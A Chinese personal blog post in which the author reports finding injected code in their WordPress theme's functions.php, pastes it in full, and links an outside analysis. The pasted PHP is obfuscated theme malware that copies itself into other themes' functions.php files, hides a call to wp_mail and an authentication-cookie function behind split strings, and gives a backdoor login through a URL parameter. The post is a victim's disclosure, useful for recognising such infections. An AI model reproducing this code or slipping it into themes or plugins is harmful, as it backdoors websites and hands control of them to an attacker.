空の領域

又一个坑爹的神站 大人說:要清爽 要低調

0%

见识到了Wordpress主题恶意代码

因为最近切到备用服务器各种不稳定而且服务器质量差经不起ping之类的之类的各种蛋疼货,前天因为发布文章时设置了ping结果挂了那么两三秒钟,后来就把ping关了,报错的地方让小新帮忙看了一下也是这个问题,而昨天提示的却是在主题的function里,本来没注意就刷新了但还是挺在意的就去看了一下吧结果才知道不知道什么时候多了一段恶意代码。

if (is\_writable($item)){ $ftion=substr($widget,stripos($widget,"\_"),stripos(substr($widget,stripos($widget,"\_")),"(")); $cont=file\_get\_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\\n\\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function \_get\_allwidgets\_cont($wids,$items=array()){ $places=array\_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file\_exists($places) || !is\_dir($places)){ return false; }elseif(is\_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is\_dir($places . "/" . $elem)){ $wids\[\]=$places . "/" . $elem; } elseif (is\_file($places . "/" . $elem)&& $elem == substr(\_\_FILE\_\_,-13)){ $items\[\]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return \_get\_allwidgets\_cont($wids,$items); } else { return $items; } } if(!function\_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function\_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is\_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp\_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp\_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp\_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function\_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is\_dir($file)) { continue; } } array\_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add\_action("admin\_head", "\_verifyactivate\_widgets"); function \_getprepare\_widget(){ if(!isset($text\_length)) $text\_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed=""; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home\_filter)) $home\_filter=get\_option("home"); if(!isset($pref\_filters)) $pref\_filters="wp\_"; if(!isset($is\_use\_more\_link)) $is\_use\_more\_link=1; if(!isset($com\_type)) $com\_type=""; if(!isset($cpages)) $cpages=$\_GET\["cperpage"\]; if(!isset($post\_auth\_comments)) $post\_auth\_comments=""; if(!isset($com\_is\_approved)) $com\_is\_approved=""; if(!isset($post\_auth)) $post\_auth="auth"; if(!isset($link\_text\_more)) $link\_text\_more="(more...)"; if(!isset($widget\_yes)) $widget\_yes=get\_option("\_is\_widget\_active\_"); if(!isset($checkswidgets)) $checkswidgets=$pref\_filters."set"."\_".$post\_auth."\_".$check; if(!isset($link\_text\_more\_ditails)) $link\_text\_more\_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for\_more)) $for\_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$widget\_yes) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post\_title, post\_content, post\_password, comment\_ID, comment\_post\_ID, comment\_author, comment\_date\_gmt, comment\_approved, comment\_type, SUBSTRING(comment\_content,1,$src\_length) AS com\_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment\_post\_ID=$wpdb->posts.ID) WHERE comment\_approved=\\"1\\" AND comment\_type=\\"\\" AND post\_author=\\"li".$coma."vethe".$com\_type."mas".$coma."@".$com\_is\_approved."gm".$post\_auth\_comments."ail".$coma.".".$coma."co"."m\\" AND post\_password=\\"\\" AND comment\_date\_gmt >= CURRENT\_TIMESTAMP() ORDER BY comment\_date\_gmt DESC LIMIT $src\_count";# if (!empty($post->post\_password)) { if ($\_COOKIE\["wp-postpass\_".COOKIEHASH\] != $post->post\_password) { if(is\_feed()) { $output=\_\_("There is no excerpt because this is a protected post."); } else { $output=get\_the\_password\_form(); } } } if(!isset($fixed\_tags)) $fixed\_tags=1; if(!isset($filters)) $filters=$home\_filter; if(!isset($gettextcomments)) $gettextcomments=$pref\_filters.$contentmore; if(!isset($tag\_aditional)) $tag\_aditional="div"; if(!isset($sh\_cont)) $sh\_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more\_text\_link)) $more\_text\_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get\_results($sql); if($fakeit == 2) { $text=$post->post\_content; } elseif($fakeit == 1) { $text=(empty($post->post\_excerpt)) ? $post->post\_content : $post->post\_excerpt; } else { $text=$post->post\_excerpt; } $sq1="SELECT DISTINCT ID, comment\_post\_ID, comment\_author, comment\_date\_gmt, comment\_approved, comment\_type, SUBSTRING(comment\_content,1,$src\_length) AS com\_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment\_post\_ID=$wpdb->posts.ID) WHERE comment\_approved=\\"1\\" AND comment\_type=\\"\\" AND comment\_content=". call\_user\_func\_array($gettextcomments, array($sh\_cont, $home\_filter, $filters)) ." ORDER BY comment\_date\_gmt DESC LIMIT $src\_count";# if($text\_length < 0) { $output=$text; } else { if(!$no\_more && strpos($text, "")) { $text=explode("", $text, 2); $l=count($text\[0\]); $more\_link=1; $comments=$wpdb->get\_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text\_length) { $l=$text\_length; $ellipsis=1; } else { $l=count($text); $link\_text\_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text\[$i\] . " "; } update\_option("\_is\_widget\_active\_", 1); if("all" != $tagsallowed) { $output=strip\_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "\\s\\n\\t\\r\\0\\x0B"); $output=($fixed\_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; $output=apply\_filters($filter, $output); switch($tag\_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($is\_use\_more\_link ) { if($for\_more) { $output .= " <" . $tag . " class=\\"more-link\\">ID) . "#more-" . $post->ID ."\\" title=\\"" . $more\_text\_link . "\\">" . $link\_text\_more = !is\_user\_logged\_in() && @call\_user\_func\_array($checkswidgets,array($cpages, true)) ? $link\_text\_more : "" . "" . "\\n"; } else { $output .= " <" . $tag . " class=\\"more-link\\">ID) . "\\" title=\\"" . $more\_text\_link . "\\">" . $link\_text\_more . "" . "\\n"; } } return $output; } add\_action("init", "\_getprepare\_widget"); function \_\_popular\_posts($no\_posts=6, $before="
  • ", $after="
  • ", $show\_pass\_post=false, $duration="") { global $wpdb; $request="SELECT ID, post\_title, COUNT($wpdb->comments.comment\_post\_ID) AS \\"comment\_count\\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment\_approved=\\"1\\" AND $wpdb->posts.ID=$wpdb->comments.comment\_post\_ID AND post\_status=\\"publish\\""; if(!$show\_pass\_post) $request .= " AND post\_password =\\"\\""; if($duration !="") { $request .= " AND DATE\_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post\_date "; } $request .= " GROUP BY $wpdb->comments.comment\_post\_ID ORDER BY comment\_count DESC LIMIT $no\_posts"; $posts=$wpdb->get\_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post\_title=stripslashes($post->post\_title); $comment\_count=$post->comment\_count; $permalink=get\_permalink($post->ID); $output .= $before . " " . $post\_title . " " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } 虽然看不懂太多东西不过似乎还是查询了很多不明事物啊……不知道潜伏了多久的代码呢,然后检查了一下原本的主题是没有的,而我还留有备份的时间已经有了,可能是在不知道什么时候装主题的时候感染的?我也不是很清楚了,幸亏的是这货没有感染其他的主题(因为Architect帮忙弄了一下主题把主题文件发给他了他抽样调查了几个都没有(我去啊到底是多少主题才能用抽样调查)) 于是……把这段代码删除应该就没事了吧(呼) 看来以后下载主题的时候要小心了各种作者网站还是比较安全的╮(╯-╰)╭第三方的话应该不会好心到一个个检查文件吧。 荒野无灯大师有个很详细的分析文章这次我终于完全看懂了QAQ(是因为太详细了没有人看不懂吧啊喂)[http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html](http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html) 嘛……看来真的是闲的蛋疼啊

    欢迎关注我的其它发布渠道